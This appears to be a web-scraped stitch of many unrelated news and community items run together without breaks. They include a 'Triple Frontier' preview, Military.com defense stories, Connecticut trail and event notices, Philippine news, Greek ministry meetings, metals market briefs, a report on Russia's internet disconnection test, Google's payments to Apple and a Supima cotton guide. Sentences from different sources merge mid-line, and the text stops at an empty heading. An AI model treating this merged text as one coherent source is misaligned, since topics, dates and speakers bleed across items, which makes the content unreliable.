We look forward to working with our community partners to ensure a safe and sustainable recreational experience for all Americans who wish to visit our waterways.

Interested parties may submit comments to Public Affairs Officer Nate Peeters by e-mail (r9_hmnf_website@fs.fed.us) or post (1755 S Mitchell Street, Cadillac, MI 49601).How to use the mindat.org media viewer

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Summary of all keyboard shortcuts"Make no mistake about it: You guys need to own the fact that we do not have the flag on our shoulders."

Netflix takes another shot at the big-budget movie game next month with "Triple Frontier," opening in select theaters March 6 and streaming March 13.

A group of Special Forces veterans find themselves at loose ends after they complete their service. They're broke and bored. They decide to take down a South American drug lord and keep his $75 million in cash for themselves, doing some good and finally padding their bank accounts at the same time.

Of course, things don't go to plan.

Writer/director J.C. Chandor has already made three outstanding movies this decade, none of which got the attention they deserved.

"Margin Call" (2011) is a thriller that unfolds over 24 hours at a financial services company during the 2008 financial crisis. "All is Lost" (2014) features one of the greatest (and nearly silent) Robert Redford performances as a sailor trying to save himself after he collides with a shipping container on the open seas. "A Most Violent Year" (2014) looks at the mechanics of big-city corruption in the early 1980s. None of those descriptions makes the movies sound like thrillers, but they're all incredibly smart films that never let up in building tension.

That rep has allowed Chandor to recruit an all-star cast for "Triple Frontier." Ben Affleck is done with Batman and looks happy to be back to making movies for adult men. He's joined by Oscar Isaac (Poe Dameron in the current "Star Wars" trilogy), Charlie Hunnam ("Sons of Anarchy"), Garrett Hedlund ("TRON: Legacy") and Pedro Pascal ("Game of Thrones" and "Narcos").

Chandor wrote the screenplay with Mark Boal, who won a pair of Oscars for "The Hurt Locker" and has collaborated with director Kathryn Bigelow on "Zero Dark Thirty" and "Detroit." If nothing else, all of us can agree that Boal's work provokes a wide variety of strong reactions.

We'll have more on "Triple Frontier" as the release date approaches.Could artificial intelligence systems predict the next major natural disaster? It's one of the ways the Defense Department wants to leverage the technology in partnership with tech companies, according to a new report.

Officials on Tuesday unveiled the Trump administration's new effort to streamline the use and development of AI for homeland security, as well as military operations abroad. But the report, titled, "Department Of Defense Artificial Intelligence Strategy: Harnessing AI To Advance Our Security And Prosperity," also pinpointed applications in which smart algorithms could address "global challenges of significant societal importance, such as operationalizing AI for humanitarian assistance and disaster relief for wildfires, hurricanes and earthquakes."

"We will bring our data, domain expertise, and real-world problems to these public-private partnerships, and combine efforts with a wide range of actors to produce inspiring AI technology that benefits society beyond the benefit of fulfilling our core defense mission," the report said.

During a roundtable discussion Tuesday at the Pentagon, Lt. Gen. John "Jack" Shanahan, director of the department's new Joint Artificial Intelligence Center, told reporters military officials will work with tech companies to launch pilot projects that could improve natural disaster response by leveraging AI.

One of those projects will specifically look at tackling wildfires in the western United States, Shanahan said, as reported by the Wall Street Journal. Shanahan, previously the director for defense intelligence for warfighter support and leader of the Pentagon-Google Project Maven partnership, spoke on the content of the new report.

"Commercial solutions are available for most of the problems we've had in the past and most of the solutions we'll find in the future," Shanahan said, adding that algorithms could sift through drone data and imagery and predict the path a fire could take. Firefighters or aircraft could then be dispatched to the predicted locations to stop the fires progress.

The general said it's more likely companies would be willing to work with the Pentagon for humanitarian assistance relief such as fighting wildfires, the Wall Street Journal said.

For example, Google announced last year it would not pursue another contract with Project Maven after its current contract expires this year. Company employees reportedly voiced concerns about their artificial intelligence resources being used by the U.S. military for deadly warfare.

The new AI report follows a recent 22-page DoD climate study, which highlighted how bases around the country are faced with "significant vulnerabilities" due to climate change, and how the military itself must contend with new challenges due to "climate-related events."

The climate study said more than two-thirds of operational U.S. military installations are threatened by drought, recurrent coastal flooding, wildfires, extreme heat and extreme cold.

In October, Chairman of the Joint Chiefs of Staff Gen. Joseph Dunford told audiences at the annual Military Reporters and Editors Conference that top brass has to "think about weather as an adversary."

A few weeks later, Dunford expanded on the idea, saying climate is a source of conflict, migration and other human activities, but also something that takes troops away from home during response missions.

"When I look at climate change, it's in the category of sources of conflict around the world and things we have to respond to," he said at a Duke University event. "It can be great devastation requiring humanitarian assistance, disaster relief, which the U.S. military certainly conducts routinely."

He continued, "In fact, I can't think of a year since I've been on active duty that we haven't conducted at least one operation in the Pacific along those lines due to extreme weather in the Pacific. And then, when you look at source of conflict -- shortages of water, and those kind of things -- those are all sources of conflict.

"So it is very much something that we take into account in our planning as we anticipate when, where and how we may be engaged in the future and what capabilities we should have," the chairman said.

-- Oriana Pawlyk can be reached at oriana.pawlyk@military.com. Follow her on Twitter at @oriana0214.Jim Mattis is gone after coming to loggerheads with the commander-in-chief, but his bottom-line legacy as defense secretary to boost "lethality" is driving a revolution in how the military conducts the most elemental form of combat on the small-unit level.

New gear and technology for squads and platoons is on the way -- the money and the commitment are there -- but the doctrine for employing them is still a work in progress.

The mission is the same as it always has been for the infantry: Close with and destroy the enemy in what commanders sometimes call the "short-sword warfight."

Under Mattis' directive, the military is developing new technologies and weapons for accomplishing the close-combat mission. But squad and platoon tactics haven't changed in a century, according to retired Marine Lt. Col. Joseph L'Etoile, head of the Pentagon's Close Combat Lethality Task Force (CCLTF).

As he described it in an interview with Military.com last week, the problem lies in meshing the capabilities being developed for troops on the front lines with a new concept of how best to use them.

"Today, we stand a chance of having capabilities in want of a concept," L'Etoile said. "We are producing, acquiring, eye-watering capabilities for the close-combat formations."

These range, he said, from squad-level unmanned aerial systems, to next-generation squad weapons and rifles, to the Integrated Visual Augmentation System (IVAS) for day-or-night rapid target acquisition.

"So you have these capabilities, new squad weapon, the list goes on and on," he said. "If we provide these advanced capabilities but we are still using legacy tactics, we're not going to fully extract from these capabilities what they're possible of delivering."

In October, L'Etoile said at an Association of the U.S. Army panel discussion that he had concerns about a possible shortfall down the line in research and development funding for CCLTF, but he stressed last week that adequate funding was included in the $3.6 billion over five years that the Pentagon currently plans to spend on lethality programs.

The task force doesn't have a specific budget, L'Etoile said, but instead leverages "multiple pots of money" in other programs and "as of today, every dollar of the money that was specifically identified to address the close-combat formations is on track."

Two Up, One Back, Straight Up the Middle

What L'Etoile called the "last renaissance" for squad tactics came with the "Sturmtruppen," or Stormtroopers, of the Imperial German Army during World War I.

To break out of the trench warfare stalemate, the Stormtroopers sought to achieve tactical surprise by using fire and maneuver to overwhelm weak points in the enemy line, bypassing strong points along the way.

Junior leaders were encouraged to use their initiative as the attack developed. The strong points were to be left to following troops.

The Stormtrooper tactics took the German Army to the gates of Paris before faltering in 1918.

"Fundamentally, tactics have not changed at the squad level since then," L'Etoile said. Army and Marine Corps field manuals through the years, written in almost identical language, appear to bear him out.

On offense, the squad and platoon mission is "to decisively defeat, destroy, or neutralize the enemy force, or to seize key terrain." On defense, it is "to repel, to defeat, or to destroy an enemy attack and to gain the initiative for the offense."

In the execution of those missions, "the Infantry platoon and squad must be ready to adapt to various levels of conflict and peace in various environments," according to Army Directorate 3-21.8, published in 2016.

"This requires bold, aggressive, resourceful, and adaptive leaders -- leaders of character, competence and commitment -- who are willing to accept known risks to accomplish the mission. Infantry leaders must use their initiative," the publication states.

What all that translates to on the battlefield for the squad and platoon is the concept of "two up, one back" in the attack, meaning two units moving forward with one in reserve to exploit advantages.

And therein lies the rub for L'Etoile.

The new technologies and equipment, he said, won't be used to their fullest extent "if we still do two up, one back."

Mattis Pressed 'Lethality' Across the Board in All Services

In memos to the services and combatant commanders, and in the National Defense Strategy, Mattis, a retired Marine general, called for new initiatives to boost the lethality of the joint force to meet challenges posed by "peer competitors," meaning Russia and China.

In a July 2017 memo, he ordered the service vice chiefs to form a working group to "provide the Military Departments increased flexibility to organize, train and equip more ready and lethal forces." The Close Combat Lethality Task Force was one result.

The National Defense Strategy, overseen by Mattis, states, "Our aim is a Joint Force that possesses decisive advantages for any likely conflict while remaining proficient across the entire spectrum of conflict."

In a later memo last February, Mattis, a former infantry officer, focused on the task ahead for the CCLTF. He said that "personnel policies, advances in training methods, and equipment have not kept pace with changes in available technology, human factors, science, and talent management best practices" in terms of improving the lethality of the squad and platoon.

A spokesman for Acting Defense Secretary Patrick Shanahan told Military.com last week that improving lethality across the board will remain a top priority going forward.

The only change will be to "go faster on the implementation and the execution," Shanahan said at an informal session with Pentagon reporters Jan. 29.

In an earlier session with defense reporters, Shanahan said his focus on lethality is with "the person most downrange. It's all about how do we make them more lethal? How do we make their efforts easier? How do we make them smarter, faster, stronger, better?"

The U.S. military has already been learning lessons in the peer competitor challenge in Syria, where Russian troops are backing the regime of Syrian President Bashar al-Assad.

At a roundtable with defense reporters last week, members of Special Purpose Marine Air-Ground Task Force-Crisis Response-Central Command, who have operated in Syria, gave a glimpse of the problems posed to U.S. close-combat formations, Military.com reported.

Col. George Schreffler III, who commanded the task force from April to December, wouldn't go into detail for security reasons, but said U.S. infantry troops must be more attentive to camouflage and hiding their electronic footprints "when any adversary [can look] at you with their own small unmanned aerial systems or their aircraft."

"We have to continue to train to minimize our signatures, both from an electromagnetic perspective and from a physical visual and audible observation perspective," he said.

The lessons learned from all quarters are being absorbed by the CCLTF, said L'Etoile, who stressed that his mission will continue apace despite Mattis' abrupt exit over President Donald Trump's surprise order to withdraw U.S. troops from Syria.

"This is not a pipe dream," L'Etoile said of the CCLTF's work. "Has there been any sort of energy lost in Secretary Mattis' departure and Secretary Shanahan's arrival as the secretary? Absolutely not.

"Secretary Shanahan has made it explicit that the mission of the CCLTF continues," L'Etoile said. "There really has not been any perceptible decrease across the department in the essential work of the CCLTF."

He continued, "Secretary Shanahan was very, very explicit" in his internal discussions "to continue the mission, continue to push, continue to accelerate these efforts because he is 100 percent aware of the brutal calculus that drove us to this point."

Ninety percent of casualties are suffered by the infantry, which makes up only four percent of the total force.

"You know, especially going into a peer-competitor environment, we need to do something about that now," L'Etoile said.

-- Richard Sisk can be reached at Richard.Sisk@Military.com.A Marine special operator received the nation's third-highest valor award after his heroism in Iraq during the bloody fight to retake Mosul from the Islamic State saved his comrades' lives.

A staff sergeant with 2nd Marine Raider Battalion received the Silver Star for repeatedly braving enemy fire while surrounded by dozens of terrorists to take out a vehicle-borne explosive device that was careening toward him, according to his award citation. The previously undisclosed award was first reported by Marine Corps Times.

The Raider, whose name Military.com agreed to withhold since he's still carrying out missions with Marine Corps Special Operations Command, is the first Marine to receive a Silver Star in the fight against ISIS. Defense Department data shows a sailor, an airman and three soldiers have received the combat-valor award for their actions during Operation Inherent Resolve, the Pentagon's mission to eliminate the Islamic State terror group.

The Marine was serving as an assistant element leader in Mosul on Oct. 20, 2016, when he and his team positioned themselves between two enemy-held villages. The Marines had taken fire throughout the day, and that evening launched a counterattack on "25 heavily armed fighters and an armored vehicle-borne improvised explosive device," according to the citation.

The staff sergeant was able to take down some of the terrorists with his sniper rifle, but the vehicle was still headed toward them. Still facing enemy fire, he climbed onto the top of a nearby vehicle to retrieve a Javelin portable anti-tank missile.

He fired, but the missile failed to launch. Still under fire, he got his hands on a second Javelin and launched another missile that took out the vehicle.

"His decisive actions under fire [repelled] the enemy and saved the lives of friendly forces," the award citation states.

The battle for Mosul left thousands of civilians and coalition fighters dead. ISIS had taken hold of the city in 2014, and it took three years to recover it from the terror group's grip.

U.S. troops, including Marines, are still fighting ISIS across sections of Iraq and Syria as part of Operation Inherent Resolve. Most are on advise-and-assist missions, but the Raider's Silver Star citation shows that some of those troops find themselves on the front lines of that fight.

At least 47 U.S. troops have been wounded in action during Operation Inherent Resolve, Marine Corps Times reported.

-- Gina Harkins can be reached at gina.harkins@military.com. Follow her on Twitter @ginaaharkins.The patrol boats, which have been in the Persian Gulf region since 2003, have been replaced by two of the service's newest...Sen. James Inhofe, chairman of the Senate Armed Services Committee, said Tuesday he expected President Donald Trump would eventually get around to nominating a new Defense Secretary, but acknowledged that he missed Jim Mattis.

"I have to tell you, I liked the last one," Inhofe, an Oklahoma Republican, said when asked about urgency for naming a permanent replacement to former Defense Secretary Mattis.

"He had a very rare talent, and it's called humility," Inhofe said of Mattis, "and I'd like to see that rub off on somebody else. I consider Mattis to be a really close personal friend of mine and has been for a long period of time."

Inhofe said he expected Trump would eventually move to nominate a Mattis successor, despite the president's occasional statements that he prefers acting Secretaries in his Cabinet to give him more flexibility.

"We need to have a Secretary of Defense, so I anticipate we will," said Inhofe, who would preside as SASC chairman at the confirmation hearing. "If you're an acting, you don't have the force that you should have."

At a Defense Writers Group breakfast, Inhofe declined comment on whether he would back Acting Defense Secretary Patrick Shanahan for the nomination but said Shanahan could face a difficult nomination hearing because of his background as a Boeing executive.

"Every time someone has any kind of background whether it's Boeing or regardless of what company it is," Inhofe said, "there's going to be kind of a built-in suspicion and I would say this will become very partisan."

Shanahan was thrust into the acting secretary's position following Mattis' stunning resignation on Dec. 20, the day after Trump announced the Syria troop withdrawal.

Shanahan was in Brussels last night on the third leg of his first international trip as acting secretary following stops to meet with the troops and local officials in Baghdad and Afghanistan.

-- Richard Sisk can be reached at Richard.Sisk@Military.comHARTFORD  State Senators Mary Daugherty Abrams (D-Meriden, Middlefield, Rockfall, Middletown, Cheshire), Matt Lesser (D-Middletown) and Norm Needleman (D-Essex) recently joined constituents at a Transportation Committee public hearing, to support legislation that would not only create a new trail through their districts, but connect more than 100 miles of Connecticut trails, according to a statement.

The Transportation Committees Feb. 6 hearing concerned Senate Bill No. 775, An Act Concerning the Creation of the Central Connecticut Loop Trail, introduced by the three Senators. This legislation, if approved, would amend the general statutes to require the Commissioners of Transportation and Energy and Environmental Protection to jointly coordinate and authorize funding for the planning, designing and construction of a trail from East Hampton through Portland, Middletown, Meriden and Cheshire, facilitating multimodal access through the Meriden railroad station.

By creating that trail, the legislation would additionally create a new, longer trail, the Central Connecticut Loop Trail, by combining the Air Line Trail, which runs in two pieces from East Hampton to Putnam and the Massachusetts border, and the Farmington Canal Heritage Trail, which runs north-south from Suffield to New Haven.

This bill wouldnt just provide constituents with a new trail for their use, but connect two of Connecticuts largest trails together in the process, said Abrams in the statement. The resulting trail would be more than 100 total miles and stretch across much of the state, creating a new attraction that will show off Connecticuts natural environmental beauty while supporting health and wellness for its users both locally and state-wide. It would also allow residents to bike or walk to work in some situations, giving them increased choice of transportation.

Showcasing the beauty of our state and doing so in a way which can benefit the well-being of our residents and create lucrative opportunities for businesses as well is a win-win, said Lesser. Im happy to stand alongside Senator Abrams and Senator Needleman on this legislation which will have a positive impact on so many in our respective districts and state.

The Central Connecticut Loop Trail would also serve as an economic benefit for the state and its towns, standing as both a tourist attraction and a feeder into Main Streets, said Needleman. Runners, bikers and walkers will come from far away, with trailside businesses ready to fix their bikes and provide them with food and drinks, and at the end of the day, theyll be right in the heart of Connecticut, which will surely lead them downtown for dinner or shopping on Main Street.

The National Recreation and Park Association said in 2016 that trails dont just allow for more exercise, but improve socialization along the way, further benefitting health. The Department of Energy and Environmental Protection added last year that trails serve to preserve and create open spaces, encourage healthy lifestyles, create new opportunities for recreation and transportation, bolster local economies and protect the environment.

Rockfall Foundation offers environmental leader scholarships

MIDDLETOWN  Applications are now being accepted for the Virginia R. Rollefson Environmental Leadership Scholarship, a $1,000 award to recognize leadership and initiative by a high school junior or senior residing in Middlesex County, Lyme, or Old Lyme for participation in a program, project, or activity that benefits preservation, conservation, restoration or environmental education. The scholarship is presented by The Rockfall Foundation. Applications must be submitted by March 1.

The scholarship is named in honor of former Executive Director of The Rockfall Foundation, Virginia R. Ginny Rollefson, who retired in 2010 after 24 years with the Foundation. The award honors her long service to the Foundation, her enthusiasm, and her belief that we all benefit when young people are actively engaged in making their communities a better place to live. For a copy of the application and more information, visit www.rockfallfoundation.org or call 860-347-0340.

Founded in 1935 by Middletown philanthropist Clarence S. Wadsworth, The Rockfall Foundation is one of Connecticuts oldest environmental organizations. The Foundation supports environmental education, conservation and planning initiatives in the Lower Connecticut River Valley through public programs and grants. In addition, the Rockfall Foundation operates the historic deKoven House Community Center that offers meeting and event room rentals and office space for non-profit organizations. For additional information about the Virginia R. Rollefson Environmental Leadership Scholarship or The Rockfall Foundation, visit www.rockfallfoundation.org or call 860-347-0340.

Goff House seeks board members

EAST HAMPTON  The Joseph N. Goff House is looking for additional volunteer board members to help plan Goff House events such as the annual celebration of East Hampton's Top 10 Students, the annual Goff House Gazebo Concert series held each Thursday in the summer in the East Hampton Village Center, participation in East Hampton Village Center events and the creation of historical exhibits in the museum space at 2 Barton Hill Road.

Meetings are held every second Wednesday at the museum at 6:30 p.m. Visit the blog at http://goffhouseehct.blogspot.com to learn more, or contact Dean Markham, deanmarkham@comcast.net or call 860-860-918-4400.

Brick Patio Fundraiser under way

DURHAM  The Durham Agricultural Fair is holding a 100th Fair Everlasting Tribute Brick Patio Fundraiser.

In commemoration of the 100th Durham Fair in 2019, an Everlasting Tribute patio area will be constructed on the fairgrounds. The tribute area will include a personal inscription brick patio with seating, and will incorporate three illuminated flagpoles to be visible throughout the fairgrounds.

The bricks are being made available to all and cost $40/each. See www.durhamfair.com/100 for details.BRIDGEPORT - A local mans vacation with his family became a nightmare when he was mistaken for an accused killer being sought in a nationwide manhunt.

Benjamin Morales, in his notice of intent to sue the city of New Britain, claims on Feb. 5, he was handcuffed and pulled out of the motel where he was staying with his wife and two young children and held for several hours at the New Britain Police Department before finally being released.The long red carpet and an evening of star power are awaiting you on Sunday, Feb. 24 at 7 p.m. when The Kate in Old Saybrook welcomes Hollywoods finest.

The Katharine Hepburn Cultural Arts Center will be ready for glitz and glamour and festooned with party hats and steamers as the 91st Annual Academy Awards are celebrated in style. Forget the long distance travel to Los Angeles, and let The Kate make the evening a spectacular success.

The theaters namesake and Old Saybrooks favorite daughter, Katharine Hepburn, herself the recipient of 12 Oscar nominations and 4 wins, will be there in spirit to welcome you to the gala festivities. Plan to dress in your Sunday best for this grand fundraiser that benefits the quality events presented all year long.

A long menu of A-list presenters will announce the winners as this year there is no headliner emcee. The evening will feature a giant screen with surround sound for viewing, elegant food deliciously prepared by Fresh Salt, great Oscar inspired desserts and a cash bar. Devin Carney, state representative and grandson of Art Carney, will emcee and share the Oscar Art won for photo memories. Ann Nyberg will also send greetings from her television desk.

As if that werent enough, there will be a Silent Auction with such special treats as a deep sea fishing trip for an adult and child on the Black Hawk and a gift certificate for Lenny and Joes as well as four tickets to Feinsteins/54 Below in New York City with food and beverages included.

The live auction with feature a package to see Kelly Clarkson on Thursday, March 14 at the Mohegan Sun with a gift certificate as well as many other treats. The raffle has a grand prize of a giant flat screen television set and a movie basket of goodies to eat. Once again, Beckers Diamonds and Fine Jewelry of Old Saybrook with offer a Mystery Red Box where 60 jewelry boxes wrapped in red can be purchased, each containing a Beckers gift certificate and one grand prize of a beautiful and valuable piece of jewelry.

We always look forward to this event to celebrate Katharine Hepburns achievements, said executive director Brett Elliott. This year is extra special as well be rooting for our friend and 2017 Spirit of Katharine Hepburn Award recipient, Glenn Close, who is nominated for Best Actress for The Wife.

Sponsors to date include H & R Block Old Saybrook, Secor Volvo, Beckers Diamonds and Fine Jewelry of Old Saybrook, Comcast, Pough Interiors, Gulick & Company and Saybrook Point Marina and Spa. Call Robin Andreoli, Director of Development and Community Relations at 860-510-0473, ex. 213, or robin.andreoli@thekate.org to discuss sponsorship opportunities.

The Academy of Motion Picture Arts and Sciences will tally the ballots for their favorites. Selections will be made in categories including Best Picture, with candidates such as Bohemian Rhapsody the Dick Cheney thriller, Vice, Green Book about a black pianist who wants to perform in the south.

Other candidates for Best Actress include Lady Gaga for A Star is Born, and Melissa McCarthy for Can You Forgive Me? Lead actors include Christian Bale for Vice, William Dafoe for At Eternitys Gate, and Rami Malek for Bohemian Rhapsody.

Supporting actors include Adam Driver for Blackklansman, Sam Elliott for A Star is Born and Sam Rockwell for Vice while supporting actress candidates include Marina Tavira for Roma, Emma Stone for The Favourite and Regina King for If Beale Street Could Talk. Other categories include animated films, adapted screenplays, editing, costuming, original score, best song and many more.

Mark your calendars in red for The Kate, 300 Main Street, Old Saybrook, at 7 p.m. Call 860-510-0453 for tickets $75, members $65 to be there when the 91ST Annual Oscars celebration showcases Hollywood.Metro Manila (CNN Philippines, February 13)  Zhang Jiale, the woman who was detained for throwing a cup of 'taho' at a police officer stationed at the Metro Rail Transit line 3, is not yet scot-free.

After posting a P12,000 bail for her direct assault charges, the 23-year old Chinese national was nabbed by authorities from the Bureau of Investigation (BI). BI Spokesperson Dana Sandoval said she was arrested for her "undesirable alien" status.

"After she posted bail around 5 p.m. yesterday, she was accosted by Bureau of Immigration and was brought to their detention facility in Camp Bagong Diwa," Metro Manila police chief PDir. Guillermo Eleazar told CNN Philippines.

Sandoval said the Chinese woman, a student in the Philippines, initially resisted arrest.

"Immigration officers wanted to do it quickly and peacefully but she resisted arrest. We showed her a copy of the mission order," Sandoval told CNN Philippines.

On Tuesday, the BI's legal team found probable cause for her deportation case.

Zhang was arrested by the Philippine National Police on February 9 after she threw her 'taho,' a soy snack, at a PO1 William Cristobal who was enforcing the liquids ban at the Boni MRT-3 station in Mandaluyong. The ban is in response to security threats following the January 27 Jolo twin bombings.

Cristobal received a medal for his exemplary "patience."

Meanwhile, the Mandaluyong City Prosecutor has filed charges of direct assault against Zhang.

CNN Philippines' Correspondent Carolyn Bonquin contributed to this report.My brother was born on the 4th of July. Growing up we always celebrated his birthday, but not the holiday because, as my father put it, that is not our Independence Day.I didnt start reviewing theater in Chicago until the following year, but by many accounts, Finneys work in Another Time was extraordinary. The Tribunes Richard Christiansen certainly thought so. And the Washington Post sent its outstanding critic, Lloyd Rose, to take a look. Rose (who went on to write Doctor Who spinoff novels) utterly was transfixed by Finney, devoting almost all of her review to one actors work. He does the kind of physical acting that leaves you thinking about nothing but the characters' souls, she wrote. But it was Roses last paragraph that got to the heart of the Finney matter  she was arguing that Finney may have been British and already a movie star, but he was, at his core, a working-class guy and thus a Steppenwolf-type actor.On Wednesday, the Bayless Family foundation announced the winners of its 2019 Stepping Stone grants, along with the funding of theater programming in Millennium Park.He was also durable, lasting for more than 60 years as a chief of organized crime. He did this by staying in the shadows. Who were the most famous mobsters of the 20th century? Capone and John Gotti and they flaunted their status. They both were on the cover of Time magazine  in 1930 and 1986, respectively.It took nearly two years to put the book together, but Schroeder has had a seven-year relationship with mezcal, the Mexican agave-based spirit that has seen explosive growth in the U.S. in the past few years. His exposure to Mexican spirits began under Rick Bayless, who quickly made Schroeder chief mixologist at his restaurants Frontera Grill, Topolobampo and Xoco. Schroeder then set out on his own, helping launch Mezcaleria Las Flores in Logan Square, and is now partner and beverage director at Quiote and its basement bar hideaway Todos Santos.Metro Manila (CNN Philippines, February 13)  The Supreme Court (SC) junked the quo warranto petition filed against President Rodrigo Duterte by frequent nuisance bet Elly Pamatong.

In a seven-page ruling released to the media on Wednesday, the SC said Pamatong lacked legal standing to file the bid to nullify Duterte's election as president and that even if he did, he could no longer pursue this move as it had already been more than a year since the President took office.

Pamatong attempted yet again to run for president in 2016, but the Commission on Elections declared him a nuisance candidate.

"There is, therefore, no factual basis for petitioner's assertion of a personal claim to the position of President. He was not even included in the line-up of candidates in the 2016 elections," the SC said in its resolution dated January 22.

Under Rule 66 of the Rules of Court, a person with a claim to a position being contested can file a quo warranto petition to oust a person allegedly unlawfully holding the post within a year of their taking office. Duterte has been in office for nearly three years.

The SC, however, made an exception to this rule in ousting Maria Lourdes Sereno as chief justice, when it said that the government, which filed the petition against Sereno, is not bound by the one-year prescription period.

"However, this principle does not apply in cases where private individuals, in their own capacity, bring actions for quo warranto before the court to assert their right to the office allegedly usurped," the court said.

The SC no longer touched on Pamatong's argument that Duterte's substitution of then-Partido Demokratiko Pilipino  Lakas ng Bayan presidential bet Martin Dino is defective, as the latter filed his candidacy for mayor and not for president.

In a speech in July 2018, Duterte shrugged off the quo warranto petition against him, saying he would be happy to step down if the case prospers.REI CEO Jerry Stritzke will leave his post at the co-op on March 15. The company says he resigned after an outside investigation into "a personal and consensual relationship" with the head of another organization. (Erika Schultz/Seattle Times)The early March disbursement aims to ease benefit gaps that may have resulted when Illinois 1.8 million food stamp recipients got their February benefits weeks early, in the midst of the government shutdown. State officials worried that people might not realize those benefits, loaded into accounts by Jan. 20, would have to last them through February, and food pantry executives braced for increased demand if people found themselves running out of food between disbursements.Fans of both sides observed a minute's applause for Emiliano Sala and chanted his name. The Argentine striker died when a single-engine aircraft carrying him and pilot David Ibbotson crashed in the English Channel last month.Deputy Minister of Foreign Affairs Markos Bolaris received today Mr Paris Asanakis and Mr. Konstantinos Christoforidis, BoD members of the Imvrian Associations of Athens, in a courtesy meeting.

The two representatives briefed the Deputy Minister on the action, planning, as well as the initiatives that have been designed to be undertaken for strengthening the Imvrian Community.

The Deputy Minister commended the productive action of the Imvrian Society of Athens and their homeland Imvros, at the same time underscoring the continued interest of the Greek State in supporting the Imvrian Community. He also stressed that the National Minority in Istanbul, Imvros, and Tenedos is, and as such must be approached, a bridge of friendship and cooperation between the two countries and peoples.Deputy Minister of Foreign Affairs Markos Bolaris met, at the Ministry of Foreign Affairs, with Metropolitan Bishop Philoumenos of Pella, Jordan, who is also Abbot of the Holy Monastery of the Cross in Jerusalem, a monastery where the renowned Greek Orthodox Theological School of the Cross once operated.

The Metropolitan referred to the efforts to restore and renovate both the Monastery complex as well as the spaces where the Theological School operated, with special care of its historic library. To this end, he requested the assistance of the Greek State.

The Deputy Minister, referring to the historic Holy Monastery of the Cross and its Theological School, underscored that the initiative to maintain and restore the emblematic complex is praiseworthy and necessary, a plan that the Ministry of Foreign Affairs views in a positive light and firmly supports.Heavy highland rains in South America's Andean region prompted mining companies to temporarily halt some copper operations in northern Chile and southern Peru from Friday February 8, before resuming full capacity by February 12.Turkish miner Eti Elektrometalurji has moved into the market for ultra-low ferro-chrome and refuted that this would cap the company's output of 0.10%-carbon material.The outlook for the Brazilian mining industry has become very murky following a major accident at one of Vales mines and the consequent increased scrutiny on operations by authorities, analysts said.The seaborne iron ore market agreed on the logic behind a rise in prices on the first day of trading after Chinas return from the Lunar New Year holiday on February 11 but by day two it failed to reach an consensus on the rallys sustainability.Dubai-based multinational Dana Group has completed construction of new mills for the manufacture of cold-rolled coil and hot-dipped galvanized coil in the United Arab Emirates sheikhdom, it said on Friday.Services for Chris Trayal will be held Saturday, June 26, 2021, 11 a.m., and visitation will be from 9 -11 a.m. at James F. Webb funeral home. To view the full obituary go to www.jamesfwebb.com.Russia is planning to disconnect the entire country from the internet in order to simulate cyberwar on the country. Russians ISPs will be required to redirect web traffic from routing points within the country that will be approved by the government's telecom watchdog.

 Reuters

Just like every other country, Russia currently uses the global framework to connect with devices all over the world. This will be a move by the country to test cyber security and the country's capability for independent internet that does not depend on global systems. The temporary disconnection takes place in the next few weeks.

 Pexels

During the disconnection, the country will also rely on its own version of Domain Name System (DNS), the directory of web domains and addresses. The experiment is a part of Russia's Digital Economy National Program which aims to protect the country's digital infrastructure even if other countries cut it off.

According to a report by ZDNet The Kremlin's ultimate goal for the program is to wean the country off foreign internet providers and keep the Russian internet independent so it would be protected against potential cyber attacks,

 Pexels

Since all web traffic in Russia will pass through the government's routing points, it potentially means that Moscow will be able to censor the Internet, just like in China. China's internet censorship system, also known as the Great Firewall, blocks websites and censors certain words from social media to prevent citizens from seeing content unfavourable to the regime.Revenue from services was a major contributing factor in Apple's revenue growth even though iPhone sales have plateaued in various countries. However, according to the latest estimates by Goldman Sachs, Apple received a lot of money from the search engine giant to remain the default search engine of Apple's Safari browser.

An analyst for Goldman Sachs wrote in a note to investors:

Apple will need to add mid to high single digits growth back to Services revenues through successful launch of the 'Apple Prime' bundle including original video that we expect to be rolled out this Spring/Summer.

Estimates tell us that Google paid Apple anywhere near $9 and $10 billion which is a lot of money to spend to remain as a default search engine. Having said that, Apple is probably one of the biggest source of traffic for Google and in order to maintain those numbers, Google has to pay Apple a substantial amount every year. To put things into perspective, Apple accounts for roughly half of all mobile revenue and traffic.

The payment basically ensures that Google remains as the default search engine on every iOS device. Apple is in a very good position where the company can demand more money over the years. Apple can obviously approach other search engine websites like Bing if Google choses not to pay the price in the future.

This payment ensures Google will continue as the default search provider on iOS devices rather than a rival search engine. The downside to the agreement is that Apple can continue to push prices up each year and, if Google ever refuses to pay the amount, the Cupertino firm can simply approach a rival such as Microsoft and make Bing the default search engine.

This is pure profit for Apple as the company's install base is increasing to grow even though sales of iPhones may have staggered.Most people, specifically men, don't pay much heed to the kind of clothes that they invest in, let alone the quality of its fabric. Not that we are trying to undermine men, OR their knowledge of fabrics, but if there's something that we can say without any hums and haws it's that not many men harbour the proper knowledge of fabrics beyond the more commonly used cotton and wool. While wool is the fabric for winters, summers are all about cool and breathable cotton garms.

But did you have any idea that these fabrics have their own variants too? Given the spine-chilling winters that the country experienced this year, we are pretty much anticipating that the summers, which are around the corner, are gonna be equally harsh on us, and so it becomes requisite that we start gearing up, or rather, garming up! While we are all no stranger to the fact that cotton is the ultimate go-to fabric for the scorching summer days, we often end up not paying enough attention to all the different types of cotton that are being used to curate men's wear.

This is where Supima cotton becomes a godsend. An underrated variety of cotton, which not many people are aware of, it happens to be one of the BEST forms of cotton available out there. As such, it's high time that we bestow it with the stardom that it legit deserves! There are very few brands in the market which craft Supima cotton shirts, or Supima cotton t shirts, which, once again, is chiefly owed to the fact that not many are even aware of its nonpareil quality. That needs to change. So, to help you get acquainted (and fall in love!) with this variant of cotton, and its exceptional qualities, we at MensXP have curated this guide, which is the only Supima cotton guide you need.

What Is Supima Cotton?

 Shutterstock

Most men tend to have a relatively limited collection of clothes in their wardrobe, and often end up re-using the same piece of garm over and over. But before you know it, that t-shirt that you absolutely swear by has worn out to the point where the only purpose it can serve involves turning it into a kitchen cloth (Haven't we all been there?)

To combat just that, Supima cotton makes for an investment that you wouldn't ever regret. Supima cotton is a premium variety of cotton which is cultivated exclusively in the countries of west and southwest America and represents only 1% of all the cotton that is grown across the globe. Featuring extra long staples, Supima cotton is way softer, stronger, and more durable than regular cotton fabric, which when used in garment or handloom production ensures prime quality and unmatched resilience.

Where Does It Come From?

